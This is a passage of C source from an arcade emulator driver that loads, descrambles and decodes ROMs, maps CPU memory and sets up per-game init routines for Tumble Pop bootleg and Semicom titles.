BurnLoadRom(DrvTempRom + 0x000000, 6, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 7, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080000, 8, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080001, 9, 2); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, SpritePlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(DrvMSM6295ROMSrc + 0x00000, 10, 1); if (nRet != 0) return 1; memcpy(MSM6295ROM, DrvMSM6295ROMSrc, 0x40000); free(DrvTempRom); return 0; } static void SuprtrioDecrypt68KRom() { UINT16 *Rom = (UINT16*)Drv68KRom; UINT16 *pTemp = (UINT16*)malloc(0x80000); int i; memcpy(pTemp, Rom, 0x80000); for (i = 0; i < 0x40000; i++) { int j = i ^ 0x06; if ((i & 1) == 0) j ^= 0x02; if ((i & 3) == 0) j ^= 0x08; Rom[i] = pTemp[j]; } free(pTemp); } static void SuprtrioDecryptTiles() { UINT16 *Rom = (UINT16*)DrvTempRom; UINT16 *pTemp = (UINT16*)malloc(0x100000); int i; memcpy(pTemp, Rom, 0x100000); for (i = 0; i < 0x80000; i++) { int j = i ^ 0x02; if (i & 1) j ^= 0x04; Rom[i] = pTemp[j]; } free(pTemp); } static int SuprtrioLoadRoms() { int nRet = 0; DrvTempRom = (unsigned char *)malloc(0x100000); // Load 68000 Program Roms nRet = BurnLoadRom(Drv68KRom + 0x00001, 0, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(Drv68KRom + 0x00000, 1, 2); if (nRet != 0) return 1; SuprtrioDecrypt68KRom(); // Load Z80 Program Roms nRet = BurnLoadRom(DrvZ80Rom, 2, 1); if (nRet != 0) return 1; // Load and decode the tiles nRet = BurnLoadRom(DrvTempRom + 0x000000, 3, 1); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080000, 4, 1); if (nRet != 0) return 1; unsigned char *pTemp = (unsigned char*)malloc(0x100000); memcpy(pTemp, DrvTempRom, 0x100000); memset(DrvTempRom, 0, 0x100000); memcpy(DrvTempRom + 0x000000, pTemp + 0x000000, 0x20000); memcpy(DrvTempRom + 0x040000, pTemp + 0x020000, 0x20000); memcpy(DrvTempRom + 0x020000, pTemp + 0x040000, 0x20000); memcpy(DrvTempRom + 0x060000, pTemp + 0x060000, 0x20000); memcpy(DrvTempRom + 0x080000, pTemp + 0x080000, 0x20000); memcpy(DrvTempRom + 0x0c0000, pTemp + 0x0a0000, 0x20000); memcpy(DrvTempRom + 0x0a0000, pTemp + 0x0c0000, 0x20000); memcpy(DrvTempRom + 0x0e0000, pTemp + 0x0e0000, 0x20000); free(pTemp); SuprtrioDecryptTiles(); GfxDecode(DrvNumTiles, 4, 16, 16, SuprtrioPlaneOffsets, SuprtrioXOffsets, SuprtrioYOffsets, 0x100, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x100000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 5, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 6, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080000, 7, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080001, 8, 2); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, SpritePlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(DrvMSM6295ROMSrc + 0x00000, 9, 1); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvMSM6295ROMSrc + 0x80000, 10, 1); if (nRet != 0) return 1; memcpy(MSM6295ROM, DrvMSM6295ROMSrc, 0x40000); free(DrvTempRom); return 0; } static int HtchctchLoadRoms() { int nRet = 0; DrvTempRom = (unsigned char *)malloc(0x100000); // Load 68000 Program Roms nRet = BurnLoadRom(Drv68KRom + 0x00001, 0, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(Drv68KRom + 0x00000, 1, 2); if (nRet != 0) return 1; // Load Z80 Program Roms nRet = BurnLoadRom(DrvZ80Rom, 2, 1); if (nRet != 0) return 1; // Load Shared RAM data nRet = BurnLoadRom(DrvProtData, 3, 1); if (nRet) return 1; unsigned char *pTemp = (unsigned char*)malloc(0x200); memcpy(pTemp, DrvProtData, 0x200); for (int i = 0; i < 0x200; i+=2) { DrvProtData[i + 0] = pTemp[i + 1]; DrvProtData[i + 1] = pTemp[i + 0]; } free(pTemp); // Load and decode the tiles nRet = BurnLoadRom(DrvTempRom + 0x000001, 4, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000000, 5, 2); if (nRet != 0) return 1; TumblebTilesRearrange(); GfxDecode(DrvNumChars, 4, 8, 8, CharPlaneOffsets, CharXOffsets, CharYOffsets, 0x80, DrvTempRom, DrvChars); GfxDecode(DrvNumTiles, 4, 16, 16, CharPlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x100000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 6, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 7, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x040000, 8, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x040001, 9, 2); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, CharPlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(MSM6295ROM, 10, 1); if (nRet != 0) return 1; free(DrvTempRom); return 0; } static int ChokchokLoadRoms() { int nRet = 0; DrvTempRom = (unsigned char *)malloc(0x200000); // Load 68000 Program Roms nRet = BurnLoadRom(Drv68KRom + 0x00001, 0, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(Drv68KRom + 0x00000, 1, 2); if (nRet != 0) return 1; // Load Z80 Program Roms nRet = BurnLoadRom(DrvZ80Rom, 2, 1); if (nRet != 0) return 1; // Load Shared RAM data nRet = BurnLoadRom(DrvProtData, 3, 1); if (nRet) return 1; unsigned char *pTemp = (unsigned char*)malloc(0x200); memcpy(pTemp, DrvProtData, 0x200); for (int i = 0; i < 0x200; i+=2) { DrvProtData[i + 0] = pTemp[i + 1]; DrvProtData[i + 1] = pTemp[i + 0]; } free(pTemp); // Load and decode the tiles nRet = BurnLoadRom(DrvTempRom + 0x000001, 4, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000000, 5, 2); if (nRet != 0) return 1; pTemp = (unsigned char*)malloc(0x100000); memcpy(pTemp, DrvTempRom, 0x100000); memset(DrvTempRom, 0, 0x200000); memcpy(DrvTempRom + 0x000000, pTemp + 0x000000, 0x40000); memcpy(DrvTempRom + 0x100000, pTemp + 0x040000, 0x40000); memcpy(DrvTempRom + 0x040000, pTemp + 0x080000, 0x40000); memcpy(DrvTempRom + 0x140000, pTemp + 0x0c0000, 0x40000); free(pTemp); TumblebTilesRearrange(); GfxDecode(DrvNumChars, 4, 8, 8, Sprite2PlaneOffsets, CharXOffsets, CharYOffsets, 0x80, DrvTempRom, DrvChars); GfxDecode(DrvNumTiles, 4, 16, 16, Sprite2PlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x200000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 6, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 7, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x100000, 8, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x100001, 9, 2); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, Sprite2PlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(MSM6295ROM, 10, 1); if (nRet != 0) return 1; free(DrvTempRom); return 0; } static int FncywldLoadRoms() { int nRet = 0; DrvTempRom = (unsigned char *)malloc(0x100000); // Load 68000 Program Roms nRet = BurnLoadRom(Drv68KRom + 0x00001, 0, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(Drv68KRom + 0x00000, 1, 2); if (nRet != 0) return 1; // Load and decode the tiles nRet = BurnLoadRom(DrvTempRom + 0x000000, 2, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 3, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080000, 4, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080001, 5, 2); if (nRet != 0) return 1; TumblebTilesRearrange(); GfxDecode(DrvNumChars, 4, 8, 8, SpritePlaneOffsets, CharXOffsets, CharYOffsets, 0x80, DrvTempRom, DrvChars); GfxDecode(DrvNumTiles, 4, 16, 16, SpritePlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x100000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 6, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 7, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080000, 8, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x080001, 9, 2); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, SpritePlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(MSM6295ROM + 0x00000, 10, 1); if (nRet != 0) return 1; free(DrvTempRom); return 0; } static int SdfightLoadRoms() { int nRet = 0; DrvTempRom = (unsigned char *)malloc(0x400000); // Load 68000 Program Roms nRet = BurnLoadRom(DrvTempRom + 0x00001, 0, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x00000, 1, 2); if (nRet != 0) return 1; memcpy(Drv68KRom + 0xc0000, DrvTempRom + 0x00000, 0x40000); memcpy(Drv68KRom + 0x80000, DrvTempRom + 0x40000, 0x40000); memcpy(Drv68KRom + 0x40000, DrvTempRom + 0x80000, 0x40000); memcpy(Drv68KRom + 0x00000, DrvTempRom + 0xc0000, 0x40000); // Load Z80 Program Roms nRet = BurnLoadRom(DrvZ80Rom, 2, 1); if (nRet != 0) return 1; // Load Shared RAM data memset(DrvTempRom, 0, 0x400000); nRet = BurnLoadRom(DrvTempRom, 3, 1); if (nRet) return 1; for (int i = 0; i < 0x200; i+=2) { DrvProtData[i + 0] = DrvTempRom[i + 1]; DrvProtData[i + 1] = DrvTempRom[i + 0]; } // Load and decode the tiles memset(DrvTempRom, 0, 0x400000); nRet = BurnLoadRom(DrvTempRom + 0x200001, 4, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x200000, 5, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x300001, 6, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x300000, 7, 2); if (nRet != 0) return 1; memcpy(DrvTempRom + 0x000000, DrvTempRom + 0x200000, 0x40000); memcpy(DrvTempRom + 0x100000, DrvTempRom + 0x240000, 0x40000); memcpy(DrvTempRom + 0x040000, DrvTempRom + 0x280000, 0x40000); memcpy(DrvTempRom + 0x140000, DrvTempRom + 0x2c0000, 0x40000); memcpy(DrvTempRom + 0x080000, DrvTempRom + 0x300000, 0x40000); memcpy(DrvTempRom + 0x180000, DrvTempRom + 0x340000, 0x40000); memcpy(DrvTempRom + 0x0c0000, DrvTempRom + 0x380000, 0x40000); memcpy(DrvTempRom + 0x1c0000, DrvTempRom + 0x3c0000, 0x40000); TumblebTilesRearrange(); GfxDecode(DrvNumChars, 4, 8, 8, Sprite2PlaneOffsets, CharXOffsets, CharYOffsets, 0x80, DrvTempRom, DrvChars); GfxDecode(DrvNumTiles, 4, 16, 16, Sprite2PlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x200000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 8, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 9, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x100000, 10, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x100001, 11, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x200000, 12, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x200001, 13, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x300000, 14, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x300001, 15, 2); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, Sprite3PlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(MSM6295ROM, 16, 1); if (nRet != 0) return 1; free(DrvTempRom); return 0; } static int BcstryLoadRoms() { int nRet = 0; DrvTempRom = (unsigned char *)malloc(0x400000); // Load 68000 Program Roms nRet = BurnLoadRom(DrvTempRom + 0x00001, 0, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x00000, 1, 2); if (nRet != 0) return 1; memcpy(Drv68KRom + 0x40000, DrvTempRom + 0x00000, 0x40000); memcpy(Drv68KRom + 0x00000, DrvTempRom + 0x40000, 0x40000); // Load Z80 Program Roms memset(DrvTempRom, 0, 0x400000); nRet = BurnLoadRom(DrvTempRom, 2, 1); if (nRet != 0) return 1; memcpy(DrvZ80Rom + 0x04000, DrvTempRom + 0x00000, 0x04000); memcpy(DrvZ80Rom + 0x00000, DrvTempRom + 0x04000, 0x04000); memcpy(DrvZ80Rom + 0x0c000, DrvTempRom + 0x08000, 0x04000); memcpy(DrvZ80Rom + 0x08000, DrvTempRom + 0x0c000, 0x04000); // Load Shared RAM data memset(DrvTempRom, 0, 0x400000); nRet = BurnLoadRom(DrvTempRom, 3, 1); if (nRet) return 1; for (int i = 0; i < 0x200; i+=2) { DrvProtData[i + 0] = DrvTempRom[i + 1]; DrvProtData[i + 1] = DrvTempRom[i + 0]; } // Load and decode the tiles memset(DrvTempRom, 0, 0x400000); nRet = BurnLoadRom(DrvTempRom + 0x200000, 4, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x200001, 5, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x300000, 6, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x300001, 7, 2); if (nRet != 0) return 1; memcpy(DrvTempRom + 0x000000, DrvTempRom + 0x200000, 0x40000); memcpy(DrvTempRom + 0x100000, DrvTempRom + 0x240000, 0x40000); memcpy(DrvTempRom + 0x040000, DrvTempRom + 0x280000, 0x40000); memcpy(DrvTempRom + 0x140000, DrvTempRom + 0x2c0000, 0x40000); memcpy(DrvTempRom + 0x080000, DrvTempRom + 0x300000, 0x40000); memcpy(DrvTempRom + 0x180000, DrvTempRom + 0x340000, 0x40000); memcpy(DrvTempRom + 0x0c0000, DrvTempRom + 0x380000, 0x40000); memcpy(DrvTempRom + 0x1c0000, DrvTempRom + 0x3c0000, 0x40000); TumblebTilesRearrange(); GfxDecode(DrvNumChars, 4, 8, 8, Sprite2PlaneOffsets, CharXOffsets, CharYOffsets, 0x80, DrvTempRom, DrvChars); GfxDecode(DrvNumTiles, 4, 16, 16, Sprite2PlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvTiles); // Load and decode the sprites memset(DrvTempRom, 0, 0x200000); nRet = BurnLoadRom(DrvTempRom + 0x000000, 8, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x000001, 9, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x100000, 10, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x100001, 11, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x200000, 12, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x200001, 13, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x300000, 14, 2); if (nRet != 0) return 1; nRet = BurnLoadRom(DrvTempRom + 0x300001, 15, 2); if (nRet != 0) return 1; GfxDecode(DrvNumSprites, 4, 16, 16, Sprite3PlaneOffsets, SpriteXOffsets, SpriteYOffsets, 0x200, DrvTempRom, DrvSprites); // Load Sample Roms nRet = BurnLoadRom(MSM6295ROM, 16, 1); if (nRet != 0) return 1; free(DrvTempRom); return 0; } static void TumblebMap68k() { // Setup the 68000 emulation SekInit(0, 0x68000); SekOpen(0); SekMapMemory(Drv68KRom , 0x000000, 0x07ffff, SM_ROM); SekMapMemory(Drv68KRam , 0x120000, 0x123fff, SM_RAM); SekMapMemory(DrvPaletteRam , 0x140000, 0x1407ff, SM_RAM); SekMapMemory(DrvSpriteRam , 0x160000, 0x1607ff, SM_RAM); SekMapMemory(Drv68KRam + 0x4000 , 0x1a0000, 0x1a07ff, SM_RAM); SekMapMemory(DrvPf1Ram , 0x320000, 0x320fff, SM_RAM); SekMapMemory(DrvPf2Ram , 0x322000, 0x322fff, SM_RAM); SekSetReadWordHandler(0, Tumbleb68KReadWord); SekSetWriteWordHandler(0, Tumbleb68KWriteWord); SekSetReadByteHandler(0, Tumbleb68KReadByte); SekSetWriteByteHandler(0, Tumbleb68KWriteByte); SekClose(); } static void PangpangMap68k() { // Setup the 68000 emulation SekInit(0, 0x68000); SekOpen(0); SekMapMemory(Drv68KRom , 0x000000, 0x07ffff, SM_ROM); SekMapMemory(Drv68KRam , 0x120000, 0x123fff, SM_RAM); SekMapMemory(DrvPaletteRam , 0x140000, 0x1407ff, SM_RAM); SekMapMemory(DrvSpriteRam , 0x160000, 0x1607ff, SM_RAM); SekMapMemory(Drv68KRam + 0x4000 , 0x1a0000, 0x1a07ff, SM_RAM); SekMapMemory(DrvPf1Ram , 0x320000, 0x321fff, SM_RAM); SekMapMemory(DrvPf2Ram , 0x340000, 0x341fff, SM_RAM); SekSetReadWordHandler(0, Tumbleb68KReadWord); SekSetWriteWordHandler(0, Tumbleb68KWriteWord); SekSetReadByteHandler(0, Tumbleb68KReadByte); SekSetWriteByteHandler(0, Tumbleb68KWriteByte); SekClose(); } static void SuprtrioMap68k() { // Setup the 68000 emulation SekInit(0, 0x68000); SekOpen(0); SekMapMemory(Drv68KRom , 0x000000, 0x07ffff, SM_ROM); SekMapMemory(DrvSpriteRam , 0x700000, 0x7007ff, SM_RAM); SekMapMemory(DrvPf1Ram , 0xa20000, 0xa20fff, SM_RAM); SekMapMemory(DrvPf2Ram , 0xa22000, 0xa22fff, SM_RAM); SekMapMemory(DrvPaletteRam , 0xcf0000, 0xcf05ff, SM_RAM); SekMapMemory(Drv68KRam , 0xf00000, 0xf07fff, SM_RAM); SekSetReadWordHandler(0, Suprtrio68KReadWord); SekSetWriteWordHandler(0, Suprtrio68KWriteWord); SekClose(); } static void HtchctchMap68k() { // Setup the 68000 emulation SekInit(0, 0x68000); SekOpen(0); SekMapMemory(Drv68KRom , 0x000000, 0x0fffff, SM_ROM); SekMapMemory(Drv68KRam , 0x120000, 0x123fff, SM_RAM); SekMapMemory(DrvPaletteRam , 0x140000, 0x1407ff, SM_RAM); SekMapMemory(DrvSpriteRam , 0x160000, 0x160fff, SM_RAM); SekMapMemory(Drv68KRam + 0x4000 , 0x1a0000, 0x1a0fff, SM_RAM); SekMapMemory(DrvPf1Ram , 0x320000, 0x321fff, SM_RAM); SekMapMemory(DrvPf2Ram , 0x322000, 0x322fff, SM_RAM); SekMapMemory(Drv68KRam + 0x5000 , 0x341000, 0x342fff, SM_RAM); SekSetReadWordHandler(0, Tumbleb68KReadWord); SekSetWriteWordHandler(0, Tumbleb68KWriteWord); SekSetReadByteHandler(0, Tumbleb68KReadByte); SekSetWriteByteHandler(0, Tumbleb68KWriteByte); SekClose(); } static void FncywldMap68k() { // Setup the 68000 emulation SekInit(0, 0x68000); SekOpen(0); SekMapMemory(Drv68KRom , 0x000000, 0x0fffff, SM_ROM); SekMapMemory(DrvPaletteRam , 0x140000, 0x140fff, SM_RAM); SekMapMemory(DrvSpriteRam , 0x160000, 0x1607ff, SM_RAM); SekMapMemory(DrvPf1Ram , 0x320000, 0x321fff, SM_RAM); SekMapMemory(DrvPf2Ram , 0x322000, 0x323fff, SM_RAM); SekMapMemory(Drv68KRam , 0xff0000, 0xffffff, SM_RAM); SekSetReadWordHandler(0, Fncywld68KReadWord); SekSetWriteWordHandler(0, Fncywld68KWriteWord); SekSetReadByteHandler(0, Fncywld68KReadByte); SekSetWriteByteHandler(0, Fncywld68KWriteByte); SekClose(); } static void JumpkidsMapZ80() { // Setup the Z80 emulation ZetInit(1); ZetOpen(0); ZetSetReadHandler(JumpkidsZ80Read); ZetSetWriteHandler(JumpkidsZ80Write); ZetMapArea(0x0000, 0x7fff, 0, DrvZ80Rom ); ZetMapArea(0x0000, 0x7fff, 2, DrvZ80Rom ); ZetMapArea(0x8000, 0x87ff, 0, DrvZ80Ram ); ZetMapArea(0x8000, 0x87ff, 1, DrvZ80Ram ); ZetMapArea(0x8000, 0x87ff, 2, DrvZ80Ram ); ZetMemEnd(); ZetClose(); } static void SemicomMapZ80() { // Setup the Z80 emulation ZetInit(1); ZetOpen(0); ZetSetReadHandler(SemicomZ80Read); ZetSetWriteHandler(SemicomZ80Write); ZetMapArea(0x0000, 0xcfff, 0, DrvZ80Rom ); ZetMapArea(0x0000, 0xcfff, 2, DrvZ80Rom ); ZetMapArea(0xd000, 0xd7ff, 0, DrvZ80Ram ); ZetMapArea(0xd000, 0xd7ff, 1, DrvZ80Ram ); ZetMapArea(0xd000, 0xd7ff, 2, DrvZ80Ram ); ZetMemEnd(); ZetClose(); } void SemicomYM2151IrqHandler(int Irq) { if (Irq) { ZetSetIRQLine(0xff, ZET_IRQSTATUS_ACK); } else { ZetSetIRQLine(0, ZET_IRQSTATUS_NONE); } } static int DrvInit(bool bReset, int SpriteRamSize, int SpriteMask, int SpriteXOffset, int SpriteYOffset, int NumSprites, int NumChars, int NumTiles, double Refresh, int OkiFreq) { int nRet = 0, nLen; DrvSpriteRamSize = SpriteRamSize; DrvNumSprites = NumSprites, DrvNumChars = NumChars, DrvNumTiles = NumTiles, // Allocate and Blank all required memory Mem = NULL; MemIndex(); nLen = MemEnd - (unsigned char *)0; if ((Mem = (unsigned char *)malloc(nLen)) == NULL) return 1; memset(Mem, 0, nLen); MemIndex(); nRet = DrvLoadRoms(); DrvMap68k(); if (DrvHasZ80) DrvMapZ80(); if (DrvHasYM2151) { if (!DrvYM2151Freq) DrvYM2151Freq = 3427190; BurnYM2151Init(DrvYM2151Freq, 25.0); if (DrvHasZ80) BurnYM2151SetIrqHandler(&SemicomYM2151IrqHandler); } // Setup the OKIM6295 emulation if (DrvHasYM2151) { MSM6295Init(0, OkiFreq / 132, 100.0, 1); } else { MSM6295Init(0, OkiFreq / 132, 100.0, 0); } BurnSetRefreshRate(Refresh); nCyclesTotal[0] = 14000000 / 60; DrvSpriteXOffset = SpriteXOffset; DrvSpriteYOffset = SpriteYOffset; DrvSpriteMask = SpriteMask; DrvSpriteColourMask = 0x0f; Pf1XOffset = -5; Pf1YOffset = 0; Pf2XOffset = -1; Pf2YOffset = 0; GenericTilesInit(); // Reset the driver if (bReset) DrvDoReset(); return 0; } static int TumblebInit() { DrvLoadRoms = TumblebLoadRoms; DrvMap68k = TumblebMap68k; DrvRender = DrvDraw; return DrvInit(1, 0x800, 0x3fff, -1, 0, 0x2000, 0x4000, 0x1000, 58.0, 8000000 / 10); } static int Tumbleb2Init() { Tumbleb2 = 1; return TumblebInit(); } static int JumpkidsInit() { int nRet; Jumpkids = 1; DrvHasZ80 = 1; DrvLoadRoms = JumpkidsLoadRoms; DrvMap68k = TumblebMap68k; DrvMapZ80 = JumpkidsMapZ80; DrvRender = DrvDraw; nRet = DrvInit(1, 0x800, 0x7fff, -1, 0, 0x2000, 0x4000, 0x1000, 60.0, 8000000 / 8); nCyclesTotal[0] = 12000000 / 60; nCyclesTotal[1] = (8000000 / 2) / 60; return nRet; } static int MetlsavrInit() { int nRet; DrvHasZ80 = 1; DrvHasYM2151 = 1; DrvHasProt = 1; SemicomSoundCommand = 1; DrvLoadRoms = MetlsavrLoadRoms; DrvMap68k = HtchctchMap68k; DrvMapZ80 = SemicomMapZ80; DrvRender = DrvDraw; nRet = DrvInit(1, 0x1000, 0x7fff, -1, 0, 0x4000, 0x4000, 0x1000, 60.0, 1024000); nCyclesTotal[0] = 15000000 / 60; nCyclesTotal[1] = (15000000 / 4) / 60; return nRet; } static int PangpangInit() { Tumbleb2 = 1; DrvLoadRoms = PangpangLoadRoms; DrvMap68k = PangpangMap68k; DrvRender = PangpangDraw; return DrvInit(1, 0x800, 0x7fff, -1, 0, 0x2000, 0x8000, 0x2000, 58.0, 8000000 / 10); } static int SuprtrioInit() { int nRet; DrvHasZ80 = 1; SemicomSoundCommand = 1; DrvLoadRoms = SuprtrioLoadRoms; DrvMap68k = SuprtrioMap68k; DrvMapZ80 = SemicomMapZ80; DrvRender = SuprtrioDraw; nRet = DrvInit(1, 0x800, 0x7fff, 0, 0, 0x2000, 0x8000, 0x2000, 60.0, 875000); Pf1XOffset = -6; Pf2XOffset = -2; nCyclesTotal[1] = 8000000 / 60; return nRet; } static int HtchctchInit() { int nRet; DrvHasZ80 = 1; DrvHasYM2151 = 1; DrvHasProt = 1; SemicomSoundCommand = 1; DrvLoadRoms = HtchctchLoadRoms; DrvMap68k = HtchctchMap68k; DrvMapZ80 = SemicomMapZ80; DrvRender = HtchctchDraw; nRet = DrvInit(1, 0x1000, 0x7fff, -1, 0, 0x1000, 0x4000, 0x1000, 60.0, 1024000); nCyclesTotal[0] = 15000000 / 60; nCyclesTotal[1] = (15000000 / 4) / 60; return nRet; } static int CookbibInit() { int nRet = HtchctchInit(); Pf1XOffset = -5; Pf1YOffset = 0; Pf2XOffset = -1; Pf2YOffset = 2; return nRet; } static int ChokchokInit() { int nRet; Chokchok = 1; DrvHasZ80 = 1; DrvHasYM2151 = 1; DrvHasProt = 1; SemicomSoundCommand = 1; DrvLoadRoms = ChokchokLoadRoms; DrvMap68k = HtchctchMap68k; DrvMapZ80 = SemicomMapZ80; DrvRender = DrvDraw; nRet = DrvInit(1, 0x1000, 0x7fff, -1, 0, 0x4000, 0x10000, 0x4000, 60.0, 1024000); nCyclesTotal[0] = 15000000 / 60; nCyclesTotal[1] = (15000000 / 4) / 60; Pf1XOffset = -5; Pf1YOffset = 0; Pf2XOffset = -1; Pf2YOffset = 2; return nRet; } static int WlstarInit() { int nRet; Wlstar = 1; DrvHasZ80 = 1; DrvHasYM2151 = 1; DrvHasProt = 1; SemicomSoundCommand = 1; DrvLoadRoms = ChokchokLoadRoms; DrvMap68k = HtchctchMap68k; DrvMapZ80 = SemicomMapZ80; DrvRender = HtchctchDraw; nRet = DrvInit(1, 0x1000, 0x7fff, -1, 0, 0x4000, 0x10000, 0x4000, 60.0, 1024000); nCyclesTotal[0] = 15000000 / 60; nCyclesTotal[1] = (15000000 / 4) / 60; Pf1XOffset = -5; Pf1YOffset = 0; Pf2XOffset = -1; Pf2YOffset = 2; return nRet; } static int Wondl96Init() { int nRet; Wlstar = 1; Wondl96 = 1; DrvHasZ80 = 1; DrvHasYM2151 = 1; DrvHasProt = 2; SemicomSoundCommand = 1; DrvLoadRoms = ChokchokLoadRoms; DrvMap68k = HtchctchMap68k; DrvMapZ80 = SemicomMapZ80; DrvRender = HtchctchDraw; nRet = DrvInit(1, 0x1000, 0x7fff, -1, 0, 0x4000, 0x10000, 0x4000, 60.0, 1024000); nCyclesTotal[0] = 15000000 / 60; nCyclesTotal[1] = (15000000 / 4) / 60; Pf1XOffset = -5; Pf1YOffset = 0; Pf2XOffset = -1; Pf2YOffset = 2; return nRet; } static int FncywldInit() { int nRet; DrvHasYM2151 = 1; DrvYM2151Freq = 32220000 / 9; DrvLoadRoms = FncywldLoadRoms; DrvMap68k = FncywldMap68k; DrvRender = FncywldDraw; nRet = DrvInit(1, 0x800, 0x3fff, -1, 0, 0x2000, 0x8000, 0x2000, 60.0, 1023924); nCyclesTotal[0] = 12000000 / 60; DrvSpriteColourMask = 0x3f; return nRet; } static int SdfightInit() { int nRet; Bcstry = 1; DrvHasZ80 = 1; DrvHasYM2151 = 1; DrvYM2151Freq = 3427190; DrvHasProt = 1; SemicomSoundCommand = 1; DrvLoadRoms = SdfightLoadRoms; DrvMap68k = HtchctchMap68k; DrvMapZ80 = SemicomMapZ80; DrvRender = SdfightDraw; nRet = DrvInit(1, 0x1000, 0x7fff, 0, 1, 0x8000, 0x10000, 0x4000, 60.0, 1024000); nCyclesTotal[0] = 15000000 / 60; nCyclesTotal[1] = (15000000 / 4) / 60; Pf1XOffset = -5; Pf1YOffset = -16; Pf2XOffset = -1; Pf2YOffset = 0; return nRet; } static int BcstryInit() { int nRet; Bcstry = 1; DrvHasZ80 = 1; DrvHasYM2151 = 1; DrvYM2151Freq = 3427190; DrvHasProt = 1; 